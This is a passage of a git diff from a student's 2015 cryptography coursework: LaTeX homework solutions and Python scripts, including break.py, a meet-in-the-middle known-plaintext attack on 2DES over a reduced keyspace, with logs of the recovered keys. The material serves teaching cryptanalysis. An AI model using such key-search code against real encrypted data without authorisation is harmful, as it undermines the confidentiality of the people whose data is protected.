+			We can then continue with $M\cdot s_3$. Using that method, we find the state sequence $s_1$, $s_3$, $s_6$, $s_{12}$, $s_{25}$, $s_{18}$, $s_4$, $s_9$, $s_{19}$, $s_7$, $s_{15}$, $s_{31}$, $s_{30}$, $s_{29}$, $s_{27}$, $s_{23}$, $s_{14}$, $s_{28}$, $s_{24}$, $s_{17}$, $s_2$, $s_5$, $s_{10}$, $s_{21}$, $s_{11}$, $s_{22}$, $s_{13}$, $s_{26}$, $s_{20}$, $s_8$, $s_{16}$, $s_1$, which indeed contains $31$ different states (all states except $s_0$).
+		\end{enumerate}
+
+	\item
+		We know with sage that these two polynomials are primitive:
+
+		\begin{minted}[tabsize=0]{python}
+		sage: (x^3+x+1).is_primitive()
+		True
+		sage: (x^5+x^2+1).is_primitive()
+		True
+		\end{minted}
+
+		Therefore, the two LFSRs have period $2^L-1$, that is, $7$ for $\text{LFSR}^f$ and $31$ for $\text{LFSR}^g$. Of course, there is also the obvious period $1$ for both LFSRs if we start with $s_0$. 
+
+		Combining this we find the periods illustrated in table \ref{tab:1b}.
+
+		\begin{table}
+		\setlength\extrarowheight{2pt}
+		\centering
+		\begin{tabular}{l | l | l | l | l}
+		Period $\text{LFSR}^f$ & Initial state (e.g.) & Period $\text{LFSR}^g$ & Initial state (e.g.) & Combined period \\\hline
+		$1$	&	\texttt{000} 	&	$1$		& \texttt{00000}	& $2^{1\cdot1}-1=1$ \\
+		$1$ &	\texttt{000}	&	$31$ 	& \texttt{00001}	& $2^{1\cdot31}-1=2^{31}-1$ \\
+		$7$	&	\texttt{001} 	&	$1$		& \texttt{00000}	& $2^{7\cdot1}-1=2^7-1$ \\
+		$7$ &	\texttt{001}	&	$31$ 	& \texttt{00001}	& $2^{7\cdot31}-1=2^{217}-1$ \\
+		\end{tabular}
+		\caption{}
+		\label{tab:1b}
+		\end{table}
+	\end{enumerate}
+
+\item
+	\begin{proof}
+	Given a certain ciphertext $c$ we define the set $M_c$ as the set with all plaintexts that could give $c$ using some key and this cipher:
+	$$M_c \stackrel{\text{def}}{=} \{m\in\pazocal{M} \mid \exists_{k\in\pazocal{K}}[E(k,m) = c]\}$$
+	For all $k\in\pazocal{K}, c\in\pazocal{C}$ we have $D(k,c) = c-k\pmod{256} \in \{0,\dots,255\} = \pazocal{M}$. Therefore, for any $c\in\pazocal{C}$, we have $|M_c| = |\pazocal{K}| = |\pazocal{M}|$, meaning that given a certain ciphertext, any plaintext in $\pazocal{M}$ could be the plaintext corresponding to that ciphertext. Hence, seeing the ciphertext does not give us information about the plaintext, or:
+	$$\forall_{m\in\pazocal{M},c\in\pazocal{C}}\left[\Prob(m = m' \mid c) = \Prob(m = m')\right].$$
+	Therefore, this cipher has perfect secrecy.
+	\end{proof}
+
+\item
+	\begin{enumerate}
+	\item
+		$L_2 = R_1 = L_0 \oplus F(k_1,R_0)$ and $R_2 = L_1 \oplus F(k_2,R_1) = R_0 \oplus F(k_2, L_0 \oplus F(k_1, R_0))$.
+	\item
+		We are only interested in the left parts of the encryptions, which we shall denote as $L_{2,0}$ and $L_{2,1}$ for the left parts of the could-be encryptions of $m_0$ and $m_1$, respectively. Following the equations found in the last exercise, we have $L_{2,0} = 1^{32} \oplus F(k_1,1^{32}) = \overline{F(k_1,1^{32})}$ and $L_{2,1} = 0^{32} \oplus F(k_1,1^{32}) = F(k_1,1^{32})$. Therefore, in case $F_2$ was used, we have $L_{2,0} = \overline{L_{2,1}}$. For a random permutation this happening has the very small chance of $\frac1{2^{64}}$.
+
+		If an adversary thus checks whether $L_{2,0} \stackrel?= \overline{L_{2,1}}$ and finds out it's true, he has a non-negligible advantage with which he can assume $F_2$ was used. In case this equation does \emph{not} hold, he has a non-negligible advantage with which he can assume a random permutation was used.
+	\end{enumerate}
+
+\item
+	\begin{enumerate}
+	\item
+		One key has an effective length of $56$ bits. With two keys we have an effective keylength of $2\cdot56=112$ bits. This gives $|\pazocal{K}| = 2^{112}$. The amount of encryptions we have to perform for exhaustive key search is then $2^{112-1}$.
+	\item
+		$D^{2DES}(k_1||k_2, c) = D^{DES}(k_1, D^{DES}(k_2, c))$.
+	\item
+		\begin{proof}
+		\begin{align*}
+		m &= D^{DES}(k_1, D^{DES}(k_2, c)) \\
+		E^{DES}(k_1, m) &= E^{DES}(k_1, D^{DES}(k_1, D^{DES}(k_2, c))) \\
+			&\qquad\text{(Encryption and decryption with $k_1$ cancel out)} \\
+		E^{DES}(k_1, m) &= D^{DES}(k_2, c) 
+		\end{align*}
+		\end{proof}
+	\item
+		$A = 2^{56}$ since the keylength of one DES key is $56$. A ciphertext block encrypted with DES is $64$ bits long. Without overhead we have then $B=64\cdot2^{56}$.
+
+		We have a block length of $64$ and a key length of $56$. If we compute the encryptions of some plaintext using all possible keys, and the decryptions of some ciphertext using all possible keys, we have two lists of $2^{56}$ 64-bit candidates for a middle point in 2DES. Following the birthday paradox, the probability two values from the two lists are the same is high enough to reasonably expect false alarms\footnote{See \url{http://en.wikipedia.org/wiki/Birthday_problem#Probability_table}}.
+	\item
+		See the python files for the answers to exercise i through iv. See \texttt{Readme.md} for explanation and usage information.
+
+		I found the keypair $k_1=\mathtt{0101010101164613}, k_2=\mathtt{0101010102a719c2}$ using:
+
+		\begin{verbatim}
+		$ ./break.py -p 0123456789ABCDEF -c e0ac28c346fb8de5 -l 24
+		Making dictionary (p:0123456789abcdef;l:24)... 417.513822s
+		Finding matches... 419.125502s
+		Key generation:      102.954099s
+		Decryption:          269.473773s
+		Matching dictionary: 15.134741s
+		k1: 0101010101164613; k2: 0101010102a719c2
+		\end{verbatim}
+
+		This was done on a Lenovo U410, i7-3517U @ 1.9GHz with 8GB RAM and 16GB /swap. It takes about seven minutes to create the dictionary, and again seven minutes to try all keys for the second key and find matches. On lilo, this takes a bit less than five minutes each.
+
+		With $l=24$ we're likely to find only one possible keypair since the chance on false alarms is much lower. For higher $l$, in particular $l=56$, the chance on false alarms is much higher, meaning that the first keypair is most likely \emph{not} the actual keypair. More plaintext-ciphertext pairs can then help to find the right keypair. We do that in this case only for verification:
+
+		\begin{verbatim}
+		$ ./break.py -p 1122334455667788 -c 49e4857e94f9655d -l 24
+		Making dictionary (p:1122334455667788;l:24)... 386.554364s
+		Finding matches... 424.907323s
+		Key generation:      106.151418s
+		Decryption:          271.449573s
+		Matching dictionary: 15.2167599999s
+		k1: 0101010101164613; k2: 0101010102a719c2
+		$ ./break.py -p 99aabbccddeeff00 -c b5a2eefb51b04401 -l 24
+		Making dictionary (p:99aabbccddeeff00;l:24)... 394.505993s
+		Finding matches... 431.637707s
+		Key generation:      109.764972s
+		Decryption:          274.681545s
+		Matching dictionary: 14.4759990001s
+		k1: 0101010101164613; k2: 0101010102a719c2
+		\end{verbatim}
+
+		An adversary uses a method like \texttt{nthKey} instead of trying all $2^{64}$ possible 64-bit strings since some of the bits are parity bits. If he would try all $2^{64}$ possible 64-bit strings, he would waste time and storage on trying keys that aren't valid anyway.
+	\end{enumerate}
+\end{enumerate}
+
+\end{document}
diff --git a/Assignment 3/LICENSE b/Assignment 3/LICENSE
new file mode 100644
index 0000000..7de325f
--- /dev/null
+++ b/Assignment 3/LICENSE
@@ -0,0 +1 @@
+Copyright (c) 2015 Camil Staps <info@camilstaps.nl>
\ No newline at end of file
diff --git a/Assignment 3/Readme.md b/Assignment 3/Readme.md
new file mode 100644
index 0000000..c7ac538
--- /dev/null
+++ b/Assignment 3/Readme.md
@@ -0,0 +1,103 @@
+# Breaking DES with Python
+Solutions to the third homework assignment for the NWI-IBC023 Cryptography course, spring 2015, Radboud University Nijmegen.
+
+See the LICENSE file for the license & copyright information.
+
+## Dependencies
+Python 2.7.6 (other versions may work) with libraries: Crypto, sys, getopt, os.path, binascii, random, time
+
+## Files
+
+### des-demo.py (exercise i)
+Encrypt or decrypt a specified message using a specified key with DES. See `des-demo.py -h` for usage.
+
+### des-test.sh
+Test des-demo.py using the test vectors from the assignment.
+
+### nthkey.py (exercise ii)
+Demonstration of the working of the `nthKey(n)` method. No command line parameters, edit the number on the last line for another `n`.
+
+### 2des-demo.py (exercise iii)
+2DES using two random keys: chooses two random keys with the right parity using `nthKey(n)`, then performs 2DES on ten random plaintexts using those keys. See `2des-demo.py -h` for usage.
+
+### break.py (exercise iv)
+Breaking 2DES using a known-plaintext attack. Supply at least a plaintext (`-p`) and a ciphertext (`-c`), possibly also a keylength (`-l`). There is an option to save the dictionary to a file (`-s`) if you're planning to reuse it. 
+
+There is detailed timing information for the second stage of the attack: the time used by `nthKey()`, `DES.decrypt()` and finding values in the dictionary.
+
+Example:
+
+    $ ./break.py -p 6be6065663da8d2c -c 4d0ed7812caeee83 -l 16
+    Making dictionary (p:6be6065663da8d2c;l:16)... 1.429026s
+    Finding matches... 1.618808s
+    Key generation:      0.403714s
+    Decryption:          1.048049s
+    Matching dictionary: 0.046321s
+    k1: 0101010101011afb; k2: 0101010101012073
+
+## Concrete break
+I was given the following plaintext-ciphertext pairs:
+
+    0123456789ABCDEF e0ac28c346fb8de5
+    1122334455667788 49e4857e94f9655d
+    99aabbccddeeff00 b5a2eefb51b04401
+
+Breaking these (on the Lenovo described under Benchmarks):
+
+    $ ./break.py -p 0123456789ABCDEF -c e0ac28c346fb8de5 -l 24
+    Making dictionary (p:0123456789abcdef;l:24)... 417.513822s
+    Finding matches... 419.125502s
+    Key generation:      102.954099s
+    Decryption:          269.473773s
+    Matching dictionary: 15.134741s
+    k1: 0101010101164613; k2: 0101010102a719c2
+    $ ./break.py -p 1122334455667788 -c 49e4857e94f9655d -l 24
+    Making dictionary (p:1122334455667788;l:24)... 386.554364s
+    Finding matches... 424.907323s
+    Key generation:      106.151418s
+    Decryption:          271.449573s
+    Matching dictionary: 15.2167599999s
+    k1: 0101010101164613; k2: 0101010102a719c2
+    $ ./break.py -p 99aabbccddeeff00 -c b5a2eefb51b04401 -l 24
+    Making dictionary (p:99aabbccddeeff00;l:24)... 394.505993s
+    Finding matches... 431.637707s
+    Key generation:      109.764972s
+    Decryption:          274.681545s
+    Matching dictionary: 14.4759990001s
+    k1: 0101010101164613; k2: 0101010102a719c2
+
+We find k1 = `0101010101164613`; k2 = `0101010102a719c2`.
+
+## Benchmarks
+
+### Lenovo U410, i7-3517U @ 1.9GHz, 8GB RAM, 16GB /swap, Ubuntu 14.04
+Creating dictionary: 417.5s, 386.5s, 394.5s (**avg: 399.5s**)  
+Finding matches: 419.1s, 424.9s, 431.6s (**avg: 425.2s**)
+
+The exact log is in the Concrete Break section above.
+
+### Lilo
+Creating dictionary: 286.8s, 283.6s, 273.0s (**avg: 281.1s**)  
+Finding matches: 301.6s, 285.6s, 292.2s (**avg: 293.1s**)
+
+    $ ./break.py -p 0123456789ABCDEF -c e0ac28c346fb8de5 -l 24
+    Making dictionary (p:0123456789abcdef;l:24)... 286.83s
+    Finding matches... 301.56s
+    Key generation:      64.47s
+    Decryption:          200.23s
+    Matching dictionary: 9.27s
+    k1: 0101010101164613; k2: 0101010102a719c2
+    $ ./break.py -p 1122334455667788 -c 49e4857e94f9655d -l 24
+    Making dictionary (p:1122334455667788;l:24)... 283.55s
+    Finding matches... 285.63s
+    Key generation:      60.66s
+    Decryption:          189.44s
+    Matching dictionary: 9.27s
+    k1: 0101010101164613; k2: 0101010102a719c2
+    $ ./break.py -p 99aabbccddeeff00 -c b5a2eefb51b04401 -l 24
+    Making dictionary (p:99aabbccddeeff00;l:24)... 272.96s
+    Finding matches... 292.21s
+    Key generation:      63.89s
+    Decryption:          191.04s
+    Matching dictionary: 9.41s
+    k1: 0101010101164613; k2: 0101010102a719c2
\ No newline at end of file
diff --git a/Assignment 3/break.py b/Assignment 3/break.py
new file mode 100755
index 0000000..7666d33
--- /dev/null
+++ b/Assignment 3/break.py
@@ -0,0 +1,141 @@
+#!/usr/bin/python
+import sys, getopt, binascii, random, time, os.path, time
+from Crypto.Cipher import DES
+
+dictionary = {}
+
+# From http://stackoverflow.com/a/843846/1544337
+# 1 for odd parity, 0 for even parity
+# Was used only in a previous version of nthByte
+# def parity(b):
+#     c = 0
+#     while b != 0:
+#         c += 1
+#         b &= b - 1
+#     return c % 2
+
+# Find the nth possibility for a byte with odd parity
+oddBytes = [1,2,4,7,8,11,13,14,16,19,21,22,25,26,28,31,32,35,37,38,41,42,44,47,49,50,52,55,56,59,61,62,64,67,69,70,73,74,76,79,81,82,84,87,88,91,93,94,97,98,100,103,104,107,109,110,112,115,117,118,121,122,124,127,128,131,133,134,137,138,140,143,145,146,148,151,152,155,157,158,161,162,164,167,168,171,173,174,176,179,181,182,185,186,188,191,193,194,196,199,200,203,205,206,208,211,213,214,217,218,220,223,224,227,229,230,233,234,236,239,241,242,244,247,248,251,253,254]
+def nthByte(n):
+    return oddBytes[n]
+    # c = -1                        # This is the old version. The new version uses a faster lookup table.
+    # b = 0
+    # while c != n:
+    #     b += 1
+    #     if parity(b) == 1:
+    #         c += 1
+    # return b
+
+# Find the nth key in which all bytes have odd parity
+def nthKey(n):
+    key = ''
+    for b in range(7,-1,-1):
+        key += chr(nthByte((n >> b*7) & 0x7f))
+    return key
+
+# Create a dictionary for the first 2^l keys and a given plaintext
+def createDictionary(plaintext, l):
+    for n in range(0, pow(2, l)):
+        encryption = DES.new(nthKey(n), DES.MODE_ECB).encrypt(plaintext)
+        if encryption in dictionary:
+            dictionary[encryption].append(n)
+        else:
+            dictionary[encryption] = [n]
+
+# Read the dictionary from a file if it exists, or generate it
+def readOrMakeDictionary(plaintext, l):
+    if os.path.isfile('dict-' + binascii.b2a_hex(plaintext) + '-' + str(l) + '.txt'):
+        with open('dict-' + binascii.b2a_hex(plaintext) + '-' + str(l) + '.txt') as f:
+            for line in f:
+                dictionary[binascii.a2b_hex(line[:16])] = [int(x) for x in line[17:-1].split(',')]
+        return False
+    else:
+        createDictionary(plaintext, l)
+        return True
+
+# Save the dictionary to a file
+def saveDictionary(plaintext, l):
+    dictionary_file = open('dict-' + binascii.b2a_hex(plaintext) + '-' + str(l) + '.txt', 'w')
+    for encryption in dictionary:
+        dictionary_file.write(binascii.b2a_hex(encryption) + ':' + ','.join(str(x) for x in dictionary[encryption]) + '\n')
+    print 'Saved dictionary as dict-' + binascii.b2a_hex(plaintext) + '-' + str(l) + '.txt'
+
+def main(argv):
+    l = 24
+    plaintext = ''
+    ciphertext = ''
+    save_dictionary = False
+
+    # Parse arguments. Use -h for help.
+    try:
+        opts, args = getopt.getopt(argv, "hl:p:c:s")
+    except getopt.GetoptError:
+        usage()
+        sys.exit(2)
+
+    for opt, arg in opts:
+        if opt == '-h':
+            usage()
+            sys.exit()
+        elif opt == '-l':
+            l = int(arg)
+        elif opt == '-p':
+            plaintext = binascii.a2b_hex(arg)
+        elif opt == '-c':
+            ciphertext = binascii.a2b_hex(arg)
+        elif opt == '-s':
+            save_dictionary = True
+
+    assert plaintext != ''
+    assert ciphertext != ''
+
+    # Make the dictionary if it doesn't exist yet
+    print 'Making dictionary (p:' + binascii.b2a_hex(plaintext) + ';l:' + str(l) + ')...',
+    timer = time.clock()
+    if not readOrMakeDictionary(plaintext, l):
+        save_dictionary = False
+    print str(time.clock() - timer) + 's'
+
+    if save_dictionary:
+        saveDictionary(plaintext, l)
+
+    # Find matches
+    print 'Finding matches...',
+    timer = time.clock()
+    time_key = time_decryption = time_matching = 0
+    matches = []
+    for k in range(0, pow(2,l)):
+        # Generate key
+        time_t = time.clock()
+        key = nthKey(k)
+        time_key += time.clock() - time_t
+        
+        # Decrypt
+        time_t = time.clock()
+        des = DES.new(key, DES.MODE_ECB)
+        decryption = des.decrypt(ciphertext)
+        time_decryption += time.clock() - time_t
+        
+        # Find matches
+        time_t = time.clock()
+        if decryption in dictionary:
+            [matches.append({'k1': nthKey(i), 'k2': key}) for i in dictionary[decryption]]
+        time_matching += time.clock() - time_t
+    print str(time.clock() - timer) + 's'
+
+    print 'Key generation:      ' + str(time_key) + 's'
+    print 'Decryption:          ' + str(time_decryption) + 's'
+    print 'Matching dictionary: ' + str(time_matching) + 's'
+
+    for match in matches:
+        print 'k1: ' + binascii.b2a_hex(match['k1']) + '; k2: ' + binascii.b2a_hex(match['k2'])
+
+def usage():
+    print 'Usage: break.py -p <plaintext> -c <ciphertext> [-l <keylength>] [-s]'
+    print '  plaintext  : plaintext of the known-plaintext attack'
+    print '  ciphertext : ciphertext of the known-plaintext attack'
+    print '  keylength  : pick keys from the first 2^l keys (default: 24)'
+    print '  -s         : save the dictionary for this plaintext and keylength to a file'
+
+if __name__ == "__main__":
+    main(sys.argv[1:])
\ No newline at end of file
diff --git a/Assignment 3/des-demo.py b/Assignment 3/des-demo.py
new file mode 100755
index 0000000..0a4954f
--- /dev/null
+++ b/Assignment 3/des-demo.py
@@ -0,0 +1,62 @@
+#!/usr/bin/python
+
+# Copyright (c) 2015 Camil Staps <info@camilstaps.nl>
+
+import sys, getopt, binascii
+from Crypto.Cipher import DES
+
+def main(argv):
+    key = ''
+    plaintext = ''
+    ciphertext = ''
+
+    # Parse arguments. Use -h for help.
+    try:
+        opts, args = getopt.getopt(argv, "hk:p:c:", ["key=","plaintext=","ciphertext="])
+    except getopt.GetoptError:
+        usage()
+        sys.exit(2)
+
+    for opt, arg in opts:
+        if opt == '-h':
+            usage()
+            sys.exit()
+        elif opt in ("-k", "--key"):
+            key = binascii.a2b_hex(arg)
+        elif opt in ("-p", "--plaintext"):
+            plaintext = binascii.a2b_hex(arg)
+        elif opt in ("-c", "--ciphertext"):
+            ciphertext = binascii.a2b_hex(arg)
+
+    if key == '' or plaintext == '' and ciphertext == '':
+        usage()
+        sys.exit(2)
+
+    # PyCrypto does the hard work
+    cipher = DES.new(key, DES.MODE_ECB)
+
+    encryption = ''
+    decryption = ''
+
+    if plaintext != '':
+        encryption = cipher.encrypt(plaintext)
+    if ciphertext != '':
+        decryption = cipher.decrypt(ciphertext)
+
+    # When plaintext and ciphertext are provided, output if DES[k](p) = c. Otherwise, output the encryption / decryption.
+    if encryption != '' and decryption != '':
+        print encryption == ciphertext
+    elif encryption != '':
+        print binascii.b2a_hex(encryption)
+    elif decryption != '':
+        print binascii.b2a_hex(decryption)
+
+def usage():
+    print 'Usage: des-demo.py -k <key> [-p <plaintext>] [-c <ciphertext>]'
+    print '  key        : an 8-byte value entered as hexadecimal numbers'
+    print '  plaintext  : an 8-byte value entered as hexadecimal numbers'
+    print '  ciphertext : an 8-byte value entered as hexadecimal numbers'
+    print 'At least one of plaintext and ciphertext should be provided. When both are provided, we check if DES[k](p) = c.'
+
+if __name__ == "__main__":
+    main(sys.argv[1:])
diff --git a/Assignment 3/des-test.sh b/Assignment 3/des-test.sh
new file mode 100755
index 0000000..15a5402
--- /dev/null
+++ b/Assignment 3/des-test.sh
@@ -0,0 +1,22 @@
+#!/bin/sh
+
+echo "Testing encryption:"
+./des-demo.py -k 133457799BBCDFF1 -p 0123456789abcdef
+./des-demo.py -k 752878397493CB70 -p 1122334455667788
+./des-demo.py -k 752878397493CB70 -p 99AABBCCDDEEFF00
+./des-demo.py -k 5B5A57676A56676E -p 675A69675E5A6B5A
+./des-demo.py -k 0101010101010102 -p 0102030405060708
+
+echo "Testing decryption:"
+./des-demo.py -k 133457799BBCDFF1 -c 85E813540F0AB405
+./des-demo.py -k 752878397493CB70 -c B5219EE81AA7499D
+./des-demo.py -k 752878397493CB70 -c 2196687E13973856
+./des-demo.py -k 5B5A57676A56676E -c 974AFFBF86022D1F
+./des-demo.py -k 0101010101010102 -c 6613fc98d6d2f56b
+
+echo "Testing comparison:"
+./des-demo.py -k 133457799BBCDFF1 -p 0123456789abcdef -c 85E813540F0AB405
+./des-demo.py -k 752878397493CB70 -p 1122334455667788 -c B5219EE81AA7499D
+./des-demo.py -k 752878397493CB70 -p 99AABBCCDDEEFF00 -c 2196687E13973856
+./des-demo.py -k 5B5A57676A56676E -p 675A69675E5A6B5A -c 974AFFBF86022D1F
+./des-demo.py -k 0101010101010102 -p 0102030405060708 -c 6613fc98d6d2f56b
\ No newline at end of file
diff --git a/Assignment 3/nthkey.py b/Assignment 3/nthkey.py
new file mode 100755
index 0000000..40cf0cf
--- /dev/null
+++ b/Assignment 3/nthkey.py
@@ -0,0 +1,37 @@
+#!/usr/bin/python
+
+# Copyright (c) 2015 Camil Staps <info@camilstaps.nl>
+
+import binascii
+
+# From http://stackoverflow.com/a/843846/1544337
+# 1 for odd parity, 0 for even parity
+# Was used only in a previous version of nthByte
+# def parity(b):
+#     c = 0
+#     while b != 0:
+#         c += 1
+#         b &= b - 1
+#     return c % 2
+
+# Find the nth possibility for a byte with odd parity
+oddBytes = [1,2,4,7,8,11,13,14,16,19,21,22,25,26,28,31,32,35,37,38,41,42,44,47,49,50,52,55,56,59,61,62,64,67,69,70,73,74,76,79,81,82,84,87,88,91,93,94,97,98,100,103,104,107,109,110,112,115,117,118,121,122,124,127,128,131,133,134,137,138,140,143,145,146,148,151,152,155,157,158,161,162,164,167,168,171,173,174,176,179,181,182,185,186,188,191,193,194,196,199,200,203,205,206,208,211,213,214,217,218,220,223,224,227,229,230,233,234,236,239,241,242,244,247,248,251,253,254]
+def nthByte(n):
+    return oddBytes[n]
+    # c = -1                        # This is the old version. The new version uses a faster lookup table.
+    # b = 0
+    # while c != n:
+    #     b += 1
+    #     if parity(b) == 1:
+    #         c += 1
+    # return b
+
+# Find the nth key in which all bytes have odd parity
+def nthKey(n):
+    key = ''
+    for b in range(7,-1,-1):
+        key += chr(nthByte((n >> b*7) & 0x7f))
+    return key
+
+# Example
+print binascii.b2a_hex(nthKey(765637))
\ No newline at end of file
diff --git a/Assignment 4/.gitignore b/Assignment 4/.gitignore
new file mode 100644
index 0000000..f248400
--- /dev/null
+++ b/Assignment 4/.gitignore
@@ -0,0 +1 @@
+pypresent/
diff --git a/Assignment 4/CamilStaps-assignment4.tex b/Assignment 4/CamilStaps-assignment4.tex
new file mode 100644
index 0000000..a0a3bd8
--- /dev/null
+++ b/Assignment 4/CamilStaps-assignment4.tex
@@ -0,0 +1,218 @@
+\documentclass[a4paper]{article}
+
+\usepackage{amsmath,amssymb,amsthm,url,graphicx,comment,enumerate,color,array,inconsolata,minted,subcaption,adjustbox}
+\usepackage[margin=2cm]{geometry}
+\usepackage[hidelinks]{hyperref}
+\usepackage{fancyvrb}
+
+\usepackage{fancyhdr} % Custom headers and footers
+\pagestyle{fancyplain} % Makes all pages in the document conform to the custom headers and footers
+\fancyhead{} % No page header - if you want one, create it in the same way as the footers below
+\fancyfoot[L]{} % Empty left footer
+\fancyfoot[C]{Copyright {\footnotesize\copyright} 2015 Camil Staps} % Empty center footer
+\fancyfoot[R]{\thepage} % Page numbering for right footer
+\renewcommand{\headrulewidth}{0pt} % Remove header underlines
+\renewcommand{\footrulewidth}{0pt} % Remove footer underlines
+\setlength{\headheight}{13.6pt} % Customize the height of the header
+
+\title{Homework $4$}
+\author{Camil Staps (s4498062)}
+
+\DeclareMathOperator{\ord}{ord}
+\DeclareMathOperator{\lcm}{lcm}
+\DeclareMathOperator{\lsb}{lsb}
+\DeclareMathOperator{\Prob}{Pr}
+\DeclareMathOperator{\Adv}{Adv}
+
+\DeclareMathAlphabet{\pazocal}{OMS}{zplm}{m}{n}
+
+\usepackage{tikz}
+\usetikzlibrary{shapes.multipart,shapes.gates.logic.IEC,shapes.arrows,positioning,decorations.markings}
+
+\begin{document}
+\maketitle
+
+\section*{Solution}
+
+\begin{enumerate}
+\item \begin{enumerate}
+	\item \texttt{0}
+	\item \texttt{c}
+	\item \texttt{3}
+	\item You find the right S-box ($\mathrm{S}_1$ -- $\mathrm{S}_8$), the right row (based on the first and final bit), and finally the right column (based on the other bits).
+	\end{enumerate}
+
+\item 
+	We need to distinguish between 3DES with two keys ($K_1=K_3$) and 3DES with three keys. In both cases, we consider a plaintext-ciphertext pair $(P,C)$. I allow myself one paragraph for each case.
+
+	If we consider the case where $K_1=K_3$, we can build a lookup table $\{(E(P,K'_1), D(C,K'_3)) \mid K'_1 \in \pazocal{K}, K'_3=K'_1\}$ (hence, the table contains both the encryption of $P$ with all possible values for $K_1$, and the decryption of $C$ using the same key). This table holds thus $2^{56}$ such pairs. We could then, for all of these pairs $(X,Y)$ see if $\{K'_2 \in \pazocal{K} \mid D(X,K'_2)=Y\} \neq \emptyset$ (since if this holds, we found a match). For this second step we also need $2^{56}$ encryptions. The total amount of encryptions we need in the worst case is then $2^{112}$, and $2^{111}$ on average. This is what we would expect since the cardinality of the keyspace for 3DES with two keys is $2^{112}$.
+
+	If we consider the case where $K_1\neq K_3$, we again build a lookup table, but now with $\{D(E(P,K'_1),K'_2) \mid K'_1,K'_2 \in\pazocal{K}\}$. This uses a total effort of $2^{112}$ encryptions. We can then proceed by calculating $\{D(C,K'_3) \mid K'_3 \in\pazocal{K}\}$ and find the intersection of these two sets. This takes an \emph{additional} effort of $2^{56}$ encryptions, yielding a total effort of $2^{112} + 2^{56} \approx 2^{112}$ encryptions. Whilst this is slightly better than for the case where $K_1=K_3$, it is clear that this case does not meet our expectations of a 168-bit key cipher. The larger keyspace does not contribute substantially to the cipher's security with respect to two-key 3DES.
+
+	Still, for both cases, $2^{112}$ is well above the conventional $2^{80}$ requirement.
+
+\item \begin{enumerate}
+	\item
+		\begin{minipage}[t]{\linewidth}
+		\centering
+		\adjustbox{valign=t}{%
+		\begin{tabular}{>{\ttfamily}r | >{\ttfamily}c >{\ttfamily}c >{\ttfamily}c >{\ttfamily}c}
+		$\oplus$ & 00 & 01 & 10 & 11 \\\hline
+		00 & 00 & 01 & 10 & 11 \\
+		01 & 01 & 00 & 11 & 10 \\
+		10 & 10 & 11 & 00 & 01 \\
+		11 & 11 & 10 & 01 & 00 
+		\end{tabular}
+		}
+		\end{minipage}
+	\item %In all four columns all bitstrings of two bits in $\{0,1\}^2$ appear, which is quite rare (see numbers below). The adversary $A$ should send \texttt{00} through \texttt{11} and check if the results have this property or not. If they have, she should guess $b'=1$; if not, $b'=0$.
+
+		%NB: this encryption function has other vulnerabilities. Due to key reuse, sending merely \texttt{00} and \texttt{11} and checking if the results are the inverse of each other would be sufficient as well. However, we don't focus on that here.
+
+        He could send all possible bitstrings with length $2$ and check if the results match any column in the table above. If not, the challenger cannot be using the encryption. If the results do match, he is likely (but not certain) to be using -- see the numbers below for the exact probability.
+	\item $|\mathrm{Perms}(X)| = |X|! = 4! = 24$ and from the table above we see that $4$ of those are of the form $E(k,\cdot)$.
+	\item $\Adv_{\mathrm{PRP}}[A,E] = |\Prob[EXP(0)=1] - \Prob[EXP(1)=1]| = |\tfrac{4}{4} - \tfrac{4}{24}| = \tfrac{5}{6}$ (not negligible).
+	\item $|\mathrm{Funs}(X,Y)| = |Y|^{|X|} = 4^4 = 256$ and still $4$ of those are of the form $E(k,\cdot)$.
+	\item $\Adv_{\mathrm{PRF}}[A,E] = |\Prob[EXP(0)=1] - \Prob[EXP(1)=1]| = |\tfrac{4}{4} - \tfrac{4}{256}| = \tfrac{63}{64}$ (not negligible).
+	\end{enumerate}
+
+\item \begin{enumerate}
+	\item 
+		\begin{minted}[fontsize=\small,tabsize=0]{python}
+		>>> from pypresent import Present
+		>>> cipher = Present("01010101010101010101".decode('hex'))
+		>>> cipher.encrypt("abcdef1234567890".decode('hex')).encode('hex')
+		'75220f3e39179245'
+		>>> cipher.encrypt("1234567890abcdef".decode('hex')).encode('hex')
+		'8ee60136b737d4b7'
+		>>> cipher.encrypt("1111111111111111".decode('hex')).encode('hex')
+		'3db1b90d4bc93766'
+		\end{minted}
+	\item 
+		\begin{minted}[fontsize=\small,tabsize=0]{python}
+		>>> cipher = Present("6e5f2e61db0c1e456e5f".decode('hex'))
+		>>> cipher.decrypt("8ee60136b737d4b7".decode('hex')).encode('hex')
+		'fe502ee3175140db'
+		\end{minted}
+	\item 
+		\begin{minted}[fontsize=\small,tabsize=0,breaklines,breakbytoken]{python}
+		>>> ['6e5f2e61db0c1e456e5f6e5f2e51b0a' + ("%x" % i) for i in range(0,16) if Present(('6e5f2e61db0c1e456e5f6e5f2e51b0a' + ("%x" % i)).decode('hex')).encrypt("cd187ce631db6207".decode('hex')) == "8ee60136b737d4b7".decode('hex')][0]
+		'6e5f2e61db0c1e456e5f6e5f2e51b0a4'
+		\end{minted}
+
+		This code is self-explanatory. There are four bits missing, so we check for all values in $\{0,1\}^4$ (all hexadecimal characters) if the prefix with those bits concatenated to it as PRESENT key encrypts the given plaintext as the given ciphertext. We then take the first key that matches. The lost bits are `\texttt{0100}'.
+	\end{enumerate}
+
+\item \begin{enumerate}
+	\item 
+		\begin{description}
+		\item[FX construction] is a construction where a different key is used to XOR the data before and after the `real' encryption algorithm. With a an $n$-bit block cipher $F_K$ with a $\kappa$-bit key $K$ and two additional $n$-bit whitening keys $K_1,K_2$, we can build an FX construction with $FX_{K,K_1,K_2}(P) = K_2 \oplus F_K(K_1 \oplus P)$.\footnote{Itai Dinur. Cryptanalytic Time-Memory-Data Tradeoffs for FX-Constructions with Applications to PRINCE and PRIDE. \url{https://eprint.iacr.org/2014/656.pdf}}
+
+        In PRIDE, the FX construction is used in the sense described under `Pre- and post-whitening'.
+		\item[Pre- and post-whitening] and more generally \emph{whitening}, is a method of combining the data to be encrypted with (parts of) the key. In this specific cipher a rather common method is used: a portion of the key is added to the data before and after the round iterations. The first time this is done (before the round iterations) is called \emph{pre}-whitening, the last time (after the round iterations) \emph{post}-whitening. 
+
+		In PRIDE, the first 64-bit half of the key is used for whitening: it is permuted and added to the data before and after the round iterations (for both encryption and decryption, but with inversed permutations). The second half of the key is used to generate the roundkeys.
+		\item[Diffusion] is a property of the operation a secure cipher. It means that changing one bit in the plaintext influences as many bits in the ciphertext as possible, or, equivalently, that every bit of ciphertext depends on as many bits from the plaintext as possible.
+
